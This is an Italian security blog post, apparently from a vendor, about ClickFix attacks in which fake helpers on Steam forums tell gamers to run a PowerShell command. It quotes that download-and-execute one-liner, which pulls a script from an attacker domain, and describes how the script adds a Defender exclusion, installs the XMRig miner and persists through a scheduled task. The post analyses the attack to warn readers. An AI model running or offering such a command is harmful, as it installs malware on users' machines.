Cattivi consigli per i giocatori: ClickFix colpisce i forum di Steam

Quest’anno si è assistito a un vero boom di attacchi ClickFix. Ha così tanto successo tra i criminali che non facciamo nemmeno in tempo a finire di scrivere di una variazione che è già ora di passare alla successiva.

Questa volta gli aggressori prendono di mira i giocatori: alcuni giornalisti specializzati in tecnologia hanno individuato dei post che diffondevano suggerimenti dannosi nei forum di Steam. Ecco come si presentano questi post, quali malware vengono utilizzati per diffonderli e come proteggere il dispositivo.

ClickFix si fa strada nei forum di Steam

Molti giocatori si rivolgono agli altri giocatori sui forum di Steam per chiedere aiuto e consigli su come superare una missione difficile, salire di livello, ottenere il bottino migliore o aggirare un bug. Ed è proprio questa fiducia nei consigli della community che gli aggressori hanno deciso di sfruttare.

L’attacco inizia quando i criminali rispondono alla domanda di un utente in merito ad arresti anomali del gioco, articoli di inventario mancanti o altri problemi tecnici. Fingendosi utili per commentare, essi suggeriscono di aprire PowerShell come amministratore ed eseguire un comando che presumibilmente risolve il problema riscontrato dall’utente.

Spacciando il proprio post per un consiglio sulla risoluzione dei problemi, l’autore dell’attacco suggerisce di avviare PowerShell come amministratore ed eseguire un comando che, all’apparenza, risolve il problema dell’utente. Fonte

Come potete immaginare, eseguire il comando non risolve nulla, ma non fa altro che aprire un nuovo vaso di Pandora. È proprio questa l’idea alla base di ClickFix: utilizzare l’ingegneria sociale per indurre le vittime a compiere autonomamente azioni pericolose, fornendo al contempo ai truffatori ciò di cui hanno bisogno per compromettere il dispositivo. In precedenza abbiamo trattato altri trucchi di ClickFix — CAPTCHA falsi, errori del browser fasulli e altro ancora — che si basano tutti sul fatto di indurre la vittima a eseguire autonomamente il comando dannoso. Potete leggere ulteriori informazioni sulle diverse varianti degli attacchi ClickFix nel nostro post precedente.

L’astuzia nell’utilizzare ClickFix sui forum di Steam sta nel fatto che l’attacco potrebbe colpire non solo il giocatore che ha chiesto aiuto; anche molti altri giocatori che si imbattono nello stesso problema e trovano la risposta tramite una ricerca su Google potrebbero cadere nella trappola.

Una breve introduzione: cosa si nasconde davvero dietro il comando irm | iex

Prima di approfondire in che modo gli hacker riescano effettivamente a indurre i giocatori a effettuare l’installazione in questo modo, è necessario fornire alcune nozioni tecniche di base. Allora, per cominciare, i post sui forum di Steam consigliano alle ignare potenziali vittime di eseguire il seguente comando in PowerShell:

irm msfconfig.icu | iex

A qualcuno che non ha familiarità con PowerShell, questa riga potrebbe sembrare piuttosto innocua: sembra che serva ad avviare MSConfig, l’utilità di configurazione del sistema integrata di Windows, con alcuni parametri aggiuntivi.

In realtà, però, è tutt’altro che innocua. Analizziamo le operazioni effettivamente eseguite da ciascuna parte di questo comando:

1. irm è l’abbreviazione del comando di PowerShell integrato Invoke-RestMethod. Raggiunge l’indirizzo Web specificato più avanti nella riga e recupera i dati nella risposta.
2. icu è quell’indirizzo Web, non il nome di un file locale, come potrebbe sembrare a prima vista. Questo è il server degli aggressori e risponde alla richiesta irm con uno script di PowerShell dannoso.
3. iex è un altro comando di PowerShell integrato, Invoke-Expression. Prende tutto ciò che irm riceve da tale indirizzo Web e lo esegue come codice di PowerShell.

Una volta eseguita, questa riga di codice di PowerShell scarica uno script dal sito specificato e lo esegue immediatamente. Come ha giustamente sottolineato un utente di Reddit, è possibile scoprire in tutta sicurezza quale codice verrebbe effettivamente scaricato sul proprio dispositivo — senza il rischio che venga eseguito — semplicemente eliminando la seconda parte, ovvero iex. Senza di essa, il comando scaricherà semplicemente il contenuto dello script e lo stamperà nella finestra di PowerShell, senza eseguirlo. Questo fornisce il codice completo e non oscurato che viene richiesto di eseguire nel dispositivo. Vediamo ora cosa questi gentili utenti del forum di Steam stanno effettivamente cercando di convincere i giocatori a installare sui propri computer.

Un crypto miner, non uno strumento di ottimizzazione

Gli aggressori hanno fatto il loro dovere: lo script di PowerShell scaricato dai relativi server imita in modo convincente un’utilità di ottimizzazione di Windows. Una volta avviato, mostra all’utente una serie di notifiche che promettono di eliminare i file temporanei, svuotare la cache DNS, aggiornare i driver, verificare la presenza di errori sul disco, disattivare le app di avvio non necessarie, eseguire una scansione del sistema alla ricerca di malware, riparare l’immagine di Windows e verificare l’integrità dei file di sistema.

Lo script visualizza una serie di messaggi relativi a varie operazioni di ottimizzazione fittizie per dare l’impressione che stia eseguendo operazioni di manutenzione utili. Fonte

La vera attività, nel frattempo, avviene dietro le quinte. Lo script inizia controllando se è in esecuzione con i privilegi di amministratore. In tal caso, crea una cartella di lavoro nascosta in C:\Windows\Background e la aggiunge all’elenco di esclusioni di Microsoft Defender. Da quel momento in poi, tutti i file inseriti nella cartella cesseranno di essere scansionati dall’antivirus integrato di Windows.

Successivamente, lo script prepara il sistema per la fase successiva dell’attacco e scarica un eseguibile dal server degli aggressori, salvandolo nella stessa cartella C:\Windows\Background con il nome legittimo system.exe .

Il file scaricato è XMRig, uno degli strumenti più popolari per il mining della criptovaluta Monero. XMRig in sé non è un malware; è uno strumento di mining open source legittimo. Il problema è che gli aggressori lo installano nei computer delle vittime a loro insaputa. Una volta avviato, la potenza di calcolo del dispositivo viene dirottata per il mining di Monero, e la criptovaluta ottenuta finisce direttamente nelle mani dei criminali.

Questo rende i computer dei giocatori dei bersagli particolarmente allettanti: i moderni PC da gaming sono dotati di CPU e GPU potenti, proprio il tipo di hardware ideale per il mining di criptovalute.

Per assicurarsi che il malware sopravviva al riavvio, lo script crea anche una nuova attività in Utilità di pianificazione di Windows: XMRig-{nome computer}. Da quel momento in poi, avvia automaticamente il crypto miner ogni volta che il sistema viene avviato.

Come proteggere il dispositivo da crypto miner e altri tipi di malware

Purtroppo, molti giocatori sono riluttanti a installare software di sicurezza — o a mantenerlo attivo — sui propri dispositivi. Il principale responsabile è il mito persistente secondo cui “un antivirus rallenta il gioco”. Ne abbiamo già parlato nel nostro blog, e i risultati hanno dimostrato che l’esecuzione di un antivirus durante il gioco non comporta alcun calo significativo delle prestazioni.

Lo stesso non si può dire per i crypto miner, tuttavia: compromettono decisamente le prestazioni e consumano l’hardware più velocemente all’avvio. Quindi cosa è possibile fare per tenere il PC da gioco e gli account fuori pericolo?

• Evitate di eseguire script di PowerShell, Terminale o altri prompt dei comandi che sconosciuti suggeriscono di copiare ed eseguire, sia che si tratti di forum, chat o commenti.
• Prima di premere Invio per qualsiasi comando che non si comprende completamente, cercare di capire di cosa si tratta e quali sono le potenziali ricadute derivanti dall’esecuzione.
• Utilizzare un soluzione di protezione affidabile con una modalità di gioco che segnalerà per tempo i tentativi di download del malware e ne bloccherà l’esecuzione.
• Non disattivare la protezione mentre si gioca. L’utilizzo di una soluzione con una modalità di gioco dedicata è la strada da percorrere. I prodotti di sicurezza Kaspersky attivano automaticamente questa modalità non appena viene avviato un gioco, sospendendo gli aggiornamenti del database antivirus, le notifiche e le scansioni del disco pianificate fino al termine della partita.

Ti interessa sapere in quali altri modi gli hacker prendono di mira i giocatori? Dai un’occhiata ai nostri altri post:

• Stealka Stealer: il nuovo volto dei trucchi, delle mod e dei crack per i videogiochi
• Vulnerabilità nel motore di gioco Unity
• Giocatori sotto tiro: malware nei siti Web ufficiali
• Arcane Stealer al posto dei trucchi di Minecraft
• Attenzione, gamer: i trojan hanno invaso Steam